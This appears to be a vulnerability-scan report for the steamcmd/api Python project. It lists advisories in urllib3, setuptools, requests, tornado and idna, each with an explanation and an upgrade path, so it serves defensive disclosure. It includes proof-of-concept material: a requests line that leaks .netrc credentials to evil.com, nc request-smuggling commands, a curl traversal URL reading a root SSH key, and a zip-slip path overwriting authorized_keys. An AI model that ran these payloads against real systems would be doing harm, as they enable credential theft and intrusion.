  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: setuptools
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0
    Remediation: Upgrade to steam@1.4.4.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0
    Remediation: Upgrade to steam@1.4.4.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper parsing of the -, +, and _ characters in chunk length and Content-Length fields through the int constructor.

Note: Exploiting this vulnerability is possible if Tornado is deployed behind certain proxies that interpret non-standard characters differently, such as older versions of haproxy.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

medium severity

HTTP Header Injection

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Header Injection via the reason argument in HTTP status handling. An attacker can inject arbitrary HTTP headers or execute malicious scripts in the browser by supplying crafted input to the RequestHandler.set_status or tornado.web.HTTPError parameters.

##Workaround

This issue can be mitigated by controlling the usage of untrusted data for the reason argument.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the handling of multiple Transfer-Encoding: chunked headers. An attacker can desynchronize the connection and potentially bypass ACLs or poison caches by sending crafted requests with duplicate Transfer-Encoding: chunked headers.

PoC

Install Tornado

Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &

Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

medium severity

Incorrect Resource Transfer Between Spheres

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Incorrect Resource Transfer Between Spheres via SimpleAsyncHTTPClient. An attacker can obtain sensitive credentials by exploiting cross-origin redirects when the Authorization header is improperly forwarded to a different origin.

Note: This is only exploitable if follow_redirects is enabled and a redirect changes the scheme, host, or port of the URL. This is the default configuration.

Remediation

Upgrade tornado to version 6.5.6 or higher.

References

medium severity

Parameter Injection

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Parameter Injection in the set_cookie() function in web.py‎. An attacker can manipulate cookie attributes by injecting values after a semicolon into the domain, path, or samesite parameters.

Remediation

Upgrade tornado to version 6.5.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: idna
  • Introduced through: fastapi@0.103.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › anyio@3.7.1 › idna@3.10
    Remediation: Upgrade to fastapi@0.103.2.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › idna@3.10
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0 › anyio@3.7.1 › idna@3.10
    Remediation: Upgrade to fastapi@0.103.2.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

medium severity

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0
    Remediation: Upgrade to steam@1.4.4.

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › certifi@2026.10.23
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › certifi@2026.10.23

MPL-2.0 license

low severity

Open Redirect

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Open Redirect via the StaticFileHandler class, due to improper validation of the default_filename parameter in the initialize function. Exploiting this vulnerability is possible under specific configurations and might result in a redirect to an attacker-controlled site.

Note: This vulnerability is still under analysis and we are following up with the maintainers to confirm it.

Remediation

Upgrade tornado to version 6.3.2 or higher.

References

low severity
new

Open Redirect

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Open Redirect via RedirectHandler in tornado/web.py when the redirect target URL is constructed from user-supplied input. If a user-controlled value appears at the start of the formatted URL, an attacker can supply a value beginning with a slash to produce a protocol-relative URL (e.g. //evil.example.com), causing the browser to follow a redirect to an arbitrary external host. The fix refuses to redirect to any URL starting with // unless the configured pattern itself starts with //.

Remediation

Upgrade tornado to version 6.6 or higher.

References

low severity
new

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0

Overview

Affected versions of this package are vulnerable to Directory Traversal via _fix_namespace_packages in setuptools/wheel.py during legacy wheel installation. Entries in a wheel's namespace_packages.txt are split on . and passed directly to os.path.join, which interprets its arguments as filesystem paths. An entry that is absolute, drive-qualified, or UNC causes os.path.join to discard the destination egg directory entirely, allowing the wheel to place a fixed-content __init__.py at an arbitrary path on the filesystem with the permissions of the installing process.

Note: This is only exploitable through the deprecated setup_requires mechanism when setup() is invoked outside a PEP 517 frontend; the setuptools build backend never reaches this code path. The target parent directory must already exist.

PoC

The reproduction was performed entirely inside a disposable temporary directory.

Layout:

sandbox/
    destination/
    outside/
    input/
    canary.txt

A synthetic wheel was created containing:

demo_pkg-1.0.dist-info/namespace_packages.txt

whose content was the absolute path of:

sandbox\outside

The real acquired setuptools implementation was then invoked:

setuptools.wheel.Wheel(synthetic_wheel).install_as_egg(
    sandbox_destination
)

The operation completed without exception.

Expected metadata was created under:

sandbox\destination\EGG-INFO

but setuptools also created:

sandbox\outside\__init__.py

The file did not exist before execution.

Its contents were:

__import__('pkg_resources').declare_namespace(__name__)

The unrelated canary remained byte-identical.

The sandbox was deleted after recording the evidence.



### Impact

A crafted wheel can cause setuptools to create a fixed-content
`__init__.py` outside the intended installation directory at a
filesystem path influenced by the wheel, with the permissions of the
process performing the installation.

The demonstrated reproduction required the target parent directory to
already exist.

**Note:** The PoC states it was performed inside a disposable temporary directory using a synthetic wheel with an absolute path as the namespace package entry, invoking `Wheel.install_as_egg` directly; no specific OS, Python, or setuptools version is stated.

## Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

**Note** `%2e` is the URL encoded version of `.` (dot).

- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. 

One way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:

2018-04-15 22:04:29 ..... 19 19 good.txt 2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys


## Remediation
Upgrade `setuptools` to version 84.1.0 or higher.
## References
- [GitHub Advisory](https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w)
- [GitHub Commit](https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af)
- [GitHub PR](https://github.com/pypa/setuptools/pull/5329)
- [GitHub Release](https://github.com/pypa/setuptools/releases/tag/v84.1.0)